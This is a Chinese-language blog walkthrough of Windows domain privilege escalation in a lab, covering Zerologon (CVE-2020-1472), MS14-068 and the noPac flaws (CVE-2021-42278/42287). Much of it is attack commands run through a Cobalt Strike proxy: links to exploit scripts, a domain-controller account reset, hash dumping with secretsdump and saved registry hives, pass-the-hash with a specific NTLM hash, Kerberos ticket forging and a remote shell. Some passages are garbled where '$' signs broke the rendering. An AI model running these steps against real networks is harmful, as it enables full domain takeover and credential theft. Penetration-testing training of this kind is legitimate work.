域环境提权姿势

已于 2022-08-15 17:15:33 修改
阅读量1.2k 收藏 5
点赞数 3
分类专栏： 内网渗透 # 渗透测试-权限提升 文章标签： Cobalstrike 安全 metasploit 网络安全
于 2022-08-15 10:21:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_61503377/article/details/126325342
版权

域提权简介

Netlogon域权限提升

2020年08月12日， 微软官方发布了 NetLogon 特权提升漏洞 的风险通告。攻击者通过NetLogon（MSNRPC），建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者。

可以在该网络中的设备上运行经特殊设计的应用程序。

漏洞编号：CVE-2020-1472

影响版本：

Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2012
Windows Server 2016
Windows Server 2019
Windows Server version 1903 (Server Core installation)
Windows Server version 1909 (Server Core installation)
Windows Server version 2004 (Server Core installation)

环境：域靶场
DC ip地址：10.10.10.10

1.查看域控主机名称。

net group "domain controllers" /domain

在这里插入图片描述

域内提权漏洞

环境：域靶场
DC ip地址：10.10.10.10

  1. 查看域控主机名称。
net group "domain controllers" /domain

在这里插入图片描述

  1. 检测漏洞是否存在。

（1）前提拿到目标机器的桌面控制权。

把PingCastle在目标机器运行。cmd命令行直接PingCastle.exe运行。选择第四个扫描模块。
在这里插入图片描述
（2）回车后，继续选择g模块对域环境进行探测。

在这里插入图片描述（3）探测完成，在当前目录下生成探测结果。
在这里插入图片描述

（4）查看探测结果，存在漏洞，攻击了249次。

在这里插入图片描述

  1. 利用CS 做跳板在kali上进行探测和渗透。

前期准备：
（1）上线cs。创建一个socks代理
在这里插入图片描述
（2）查看代理信息，视图=>代理信息，端口为3795
在这里插入图片描述
（3）打开kali，配置自带的代理工具，vim /etc/proxychain.conf
在这里插入图片描述socks4+CS服务器ip+代理端口。:wq保存退出。

  1. 使用zerologon_tester.py对目标域进行漏洞探测。
https://github.com/SecuraBV/CVE-2020-1472.git #脚本下载地址

python3 zerologon_tester.py DC 10.10.10.10

在这里插入图片描述查看结果：

在这里插入图片描述
存在漏洞。

  1. 漏洞利用，对域账号重置。
https://github.com/blackarrowsec/redteam-research #下载地址

proxychains python3 CVE-2020-1472.py DC DC$ 10.10.10.10

在这里插入图片描述可以看到账号已经被重置。
在这里插入图片描述

  1. 使用mimikatz获取DC$的hash。
    在这里插入图片描述

  2. 查看密码是否为置空状态。

使用web第三方工具进行查询。
在这里插入图片描述

这时候可以看一下用户凭证，DC$的hash已被置空。

  1. 获取域控用户hash。
python3 secretsdump.py 'de1ay.com/DC$@10.10.10.10' -no-pass

在这里插入图片描述

  1. wmiexec进行hash横向连接。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:484c4a877bf92ab233572af847b9e530 demo\Administrator@10.10.10.10

在这里插入图片描述

  1. 恢复域 - 获取hash。

#获取sam数据库

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

在这里插入图片描述
在域控的C盘目录下可以看到生成的目录：
在这里插入图片描述

get system.save
get sam.save
get security.save

在这里插入图片描述在这里插入图片描述在这里插入图片描述

在执行命令的目录下可以找到三个文件。
在这里插入图片描述

  1. 恢复域 - 获取hash。

#解密sam

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

在这里插入图片描述

  1. 恢复域 - 还原hash。
https://github.com/risksense/zerologon

python3 reinstall_original_pw.py DC 192.168.5.134 e2474b7ca001fb4d6847a6c1ece68bfb

在这里插入图片描述
等待脚本跑完即可。

MS14-068

该漏洞可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

微软官方解释:

https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068

漏洞原理:

Kerberos认证原理: https://www.cnblogs.com/huamingao/p/7267423.html

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。

漏洞利用前提：
1.域控没有打MS14-068的补丁(KB3011780)
2.攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码/hash值，以及用户的suid。

相关工具下载:

Ms14-068.exe
下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec下载地址:https://github.com/crupper/Forensics-ToolWiki/blob/master/windowsTools/PsExec64.e

  1. 首先在检测是否有MS14-068这个漏洞,通过查看是否打补丁(KB3011780)来判断是否存在漏洞,在域中补丁都是批量安装。
    在这里插入图片描述

  2. 获取域sid。

在这里插入图片描述

  1. 获取域hash。
    由于是域普通用户，首先提权到system然后抓hash。
    （1）提权，使用插件。
    在这里插入图片描述
    在这里插入图片描述（2）使用system用户会话查询用户hash。

在这里插入图片描述

  1. 清除当前用户票据。
she #清除当前用户票据
mimikatz kerberos::list #列出当前用户票据

在这里插入图片描述

  1. 利用ms14-068.exe提权工具生成伪造的kerberos协议认证证书。
    （1）上传程序，upload。选择MS14-068.exe。
    在这里插入图片描述
    （2）生成伪造的kerberos协议认证证书。
shell MS14-068.exe -u bob@zsyy.local -s S-1-5-21-650557126-778549642-18545986-1107 -p hudiashu -d 10.10.10.10

shell MS14-068.exe -u 用户名@域名 -s SID -p 明文密码/--rc4 thlmhash密文 -d DC的IP

在这里插入图片描述

  1. 利用mimikatz.exe将证书写入，从而提升为域管理员。
mimikatz kerberos::ptc **TGT_11@de1ay.com.ccache**  #上一步最后一行显示的文件名称

在这里插入图片描述

  1. 再次列出域控制器的C盘目录,成功访问域控的C盘,说明普通域用户提权成功。
    在这里插入图片描述
    失败了没关系，我们尝试几次，实在不行的话就换个方式就好啦！

cve-2021-42287/cve-2021-42278

漏洞介绍
1、CVE-2021-42278
一般来说，机器账号的名字应该以 符号结尾的。例如 D C 符号结尾的。例如DC 符号结尾的。例如DC表示DC这台主机的账户名。但是微软只是进行了规定，并没有验证程序对用户创建的用户名进行验证，也就是说，创建DC用户名完全是可以的。（这里指的是机器账号的sAMAccountName属性）

2、CVE-2021-42287
结合上面那个漏洞，如果创建了一个用户名为DC的账户，此时使用这个账户去申请一张TGT票据，然后在申请ST之前，将这个账户名修改掉或者删除掉，那么在进行申请ST的时候，KDC在进行验证时就查不到这个账户，此时KDC就会去查找DC 这个账户，如果这个账户存在的话，最终返回的就是 D C 这个账户，如果这个账户存在的话，最终返回的就是DC 这个账户，如果这个账户存在的话，最终返回的就是DC这个账户申请的ST。也就相当于获取到了域控账户申请的高权限服务票据。

漏洞影响范围

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

利用工具下载地址

https://github.com/WazeHell/sam-the-admin
  1. 上线cs。
  2. 开启socks代理，并配置kali的proxychains文件。
    在这里插入图片描述

打开kali配置代理文件。

vim /etc/proxychains4.conf

在这里插入图片描述

  1. 下载脚本需要的模块包。
    在这里插入图片描述

  2. 得到shell。

proxychains python3 sam_the_admin.py 域名/域名/域用户:密码
 -dc-ip x.x.x.x -shell

在这里插入图片描述

  1. 查看用户权限即ip是否为域控IP。

在这里插入图片描述

曲折上升
关注
  • 3
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
专栏目录
CVE-2020-1472 域内提权利用（域提权）
墨痕诉清风的博客
01-25 2321
域控（Win2008）：192.168.199.131 域用户（Win7）：192.168.199.128 域用户（Win03）：192.168.199.129 漏洞验证工具：https://github.com/SecuraBV/CVE-2020-1472 利用+重置工具：https://github.com/risksense/zerologon 重置hexpass 工具：https://github.com/dirkjanm/CVE-2020-1472 工具运行环境：https://.
nopac域提权
http://www.gov.cn/xinwen/2016-11/07/content_5129723.htm
10-09 2615
nopac域提权
横向移动-域控提权
数据安全学习分享
08-14 299
由于Active Directory没有对域中计算机和服务器账号进行验证，经过身份验证的攻击者利用该漏洞绕过完全限制，可将域中普通用户权限提升为域管理员权限并执行任意代码。
网络安全最全Windows提权方法简单总结_systminfo ,根据系统补丁提权(4)，2024年最新网络安全最牛教材
2401_84265972的博客
05-14 587
写了好多天的windows与linux提权技巧，现在做下简单的总结。提权是后渗透重要的一环节，在权限较低的情况下，我们在进行一些操作如读取/写入敏感文件、权限维持等会受到束缚，所以需要提权。在实际中我们会碰到工作组和域环境，工作组环境我们提权的目的是从普通用户权限到管理员或者system权限。而域环境中我们通常是从域用户到域管理员权限。
域渗透笔记-ADCS 域提权-ESC1
NoooEmotion的博客
02-02 1596
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书，这些证书模板是注册策略和预定义证书设置的集合，并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?，以及无数其他设置。证书模板有一组特定的设置，这使得它们非常容易受到攻击。
10、内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝
xnxqwzy的博客
03-27 886
我个人学习是通过课程和以上文章，漏洞利用的话，基本上就是根据复现文章一步一步实现，对于域控提权的漏洞编号还是得记一记，这些常识可能面试会问到，像CVE-2017-0146(ms17-010) 要做到耳熟能详。
内网渗透基石篇--权限提升（上）
dzqxwzoe的博客
08-21 666
本文主要从内网权限提升出发，主要介绍一些低权限用户如何通过一些工具和脚本来获取一些高权限。中间介绍了一些脚本和工具的使用，还做了几个实验来理解这些工具。通过网络共享可以访问到GPP的组策略的文件：[外链图片转存中…(img-DRvpkEuv-1692615488651)]打开可以看到存储的cpasword密码：[外链图片转存中…(img-oGGpIxNh-1692615488653)]六、 针对组策略首选项提取的防御措施1.设置共享文件夹SYSVOL的访问权限。
Linux提权姿势二：利用NFS提权
09-01
Linux 提权姿势二：利用 NFS 提权 Linux 提权姿势二：利用 NFS 提权是指在 Linux 系统中，利用 NFS（Network File System）共享来升级特权的一种方法。当我们拥有低特权的 shell 并且发现服务器中具有 NFS 共享时，...
产品经理给开发提埋点需求的正确姿势
02-25
本文作者将以某社交APP为例，阐述产品经理给开发提埋点需求的正确姿势。enjoy~作为一枚产品经理，对埋点一定不陌生，每一款产品多少都会有数据统计的需求，互联网发展到今天，互联网公司对数据的需求也不仅仅限于PV...
vscode 配php环境的正确姿势
01-08
第三：把php.exe 所在的文件夹添加到环境变量中，在cmd输入php -i ,如果有显示，久成功了。 第四：去官网下载xdebug，版本要根据自己的php版本来下载，并且把下载的文件发到与php.exe 同一个文件夹中。 第五：
Angularjs全局变量被作用域监听的正确姿势
11-22
总结，AngularJS中全局变量的正确监听姿势包括合理选择监听方式，及时清理不再需要的watch，理解并利用作用域生命周期，以及考虑使用服务和事件系统来更好地管理数据通信。在实际开发中，结合这些知识可以提高应用的...
域渗透笔记-ADCS 域提权-ESC4
NoooEmotion的博客
02-06 904
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书，这些证书模板是注册策略和预定义证书设置的集合，并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?，以及无数其他设置。证书模板有一组特定的设置，这使得它们非常容易受到攻击。
域用户提权
wuxinweii的博客
11-21 3543
MS14-068漏洞利用 什么是MS14-068漏洞？ 在kerberos 协议中，Client去访问Server，需要知道是否具有访问权限。所以微软在KRB_AS_REP中的TGT中增加了Client的PAC（特权属性证书），也就是Client的权限，包括Client的User的SID、Group的SID。 ms14-068 漏洞就是在经过身份验证的Client在TGT中伪造高权限的PAC。 该漏洞允许任何一个域普通用户，将自己提升至域管理员权限。微软给出的补丁号kb3011780。 MS14-068是非
域控服务器通过策略提升普通用户权限
u014588173的博客
11-16 2086
提升普通域用户权限，用于普通用户安装软件 1.在域控主机上添加一条GPO，指向需要权限的OU 2.编辑GPO-用户配置-控制面板设置-本地用户和组 3.然后右击-新建-本地组 4.操作选:更新， 组名选Administrators（内置），勾选选加当前用户 设置完成后，域服务器更新组策略（gpupdate） 然后到域用户电脑，注销当前登录或重启电脑。域用户就有本机管理员的权限了
权限提升-Win系统权限提升篇&AD内网域控&NetLogon&ADCS&PAC&KDC&CVE漏洞
siu~
03-28 1247
1、WIN-域内用户到AD域控-CVE-2014-6324 2、WIN-域内用户到AD域控-CVE-2020-1472 3、WIN-域内用户到AD域控-CVE-2021-42287 4、WIN-域内用户到AD域控-CVE-2022-26923 章节点： 1、Web权限提升及转移 2、系统权限提升及转移 3、宿主权限提升及转移 4、域控权限提升及转移
CVE-2020-1472-ZeroLogon复现
qq_56426046的博客
11-15 1028
Netlogon使用的AES认证算法中的vi向量默认为0，导致攻击者可以绕过认证，同时其设置域控密码的远 程接口也使用了该函数，导致可以将域控中保存在AD中的管理员password设置为空。
【CVE-2020-1472域内提权漏洞】
xhwfa的博客
03-15 3924
一、漏洞简介 2020年8月11号，微软修复了Netlogon特权提升漏洞，2020年9月11日，安全研究员Secura发布了公告，阐明了漏洞细节，之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”，CVSS评分为10.0，号称3秒撸域控，危害严重。攻击者在通过NetLogon（MS-NRPC）协议与AD域控建立安全通道时，可利用该漏洞将AD域控的计算机账号密码置为空，从而控制域控服务器。 二、漏洞环境搭建 域控：windows server 2008 R2，IP：192.168.16
简单的域内的提权
最新发布
m0_74326506的博客
07-11 1022
42287：微软规定一台机器的机器账号名以$结尾，但又没有做验证，所以一台机器叫dc的话，可以创建有着机器账户属性的dc账户44278：用dc账户向AS申请TGT票据后，然后去向TGS申请ST，在申请ST的时候删除dc这个账户，那么KDC在验证时就查不到dc这个账户，进而查到dc$这个账户，于是就将ST颁给dc￥这个账户。
ZeroLogon (CVE-2020-1472) 漏洞利用
热门推荐
Captain_RB的博客
10-24 1万+
ZeroLogon (CVE-2020-1472) 是近几年Windows上曝出的高危漏洞，CVSS V3.0评分10.0，攻击者只需要定位域控主机名及IP，并且可以访问域控，就可以在无需任何凭据的情况下 (可在域外) 拿到域管理员的权限。
Python姿势识别
04-17
Python姿势识别是一种利用计算机视觉技术来检测和识别人体姿势的方法。它可以通过摄像头或者图像输入，对人体的关键点进行检测和跟踪，从而实现对人体姿势的分析和识别。 在Python中，有一些常用的库和工具可以用来实现姿势识别，其中最流行的是OpenCV和PoseNet。 1. OpenCV：OpenCV是一个开源的计算机视觉库，提供了丰富的图像处理和计算机视觉算法。它可以用来进行人体姿势检测和跟踪。通过OpenCV，你可以使用预训练的模型或者自定义模型来实现姿势识别。 2. PoseNet：PoseNet是一个基于神经网络的姿势估计模型，可以实时地从图像或视频中检测人体的关键点。它使用深度学习技术，通过训练大量的姿势数据来学习人体姿势的表示和特征。在Python中，你可以使用TensorFlow.js或者tfjs模块来加载和运行PoseNet模型。 3. Mediapipe：Mediapipe是Google开发的一个跨平台的机器学习框架，提供了一系列预训练的模型和工具，包括姿势估计模型。它可以用来实现实时的姿势检测和跟踪，并提供了丰富的API和示例代码。 以上是一些常用的Python姿势识别的方法和工具，你可以根据自己的需求选择合适的方法进行实现。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

曲折上升

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值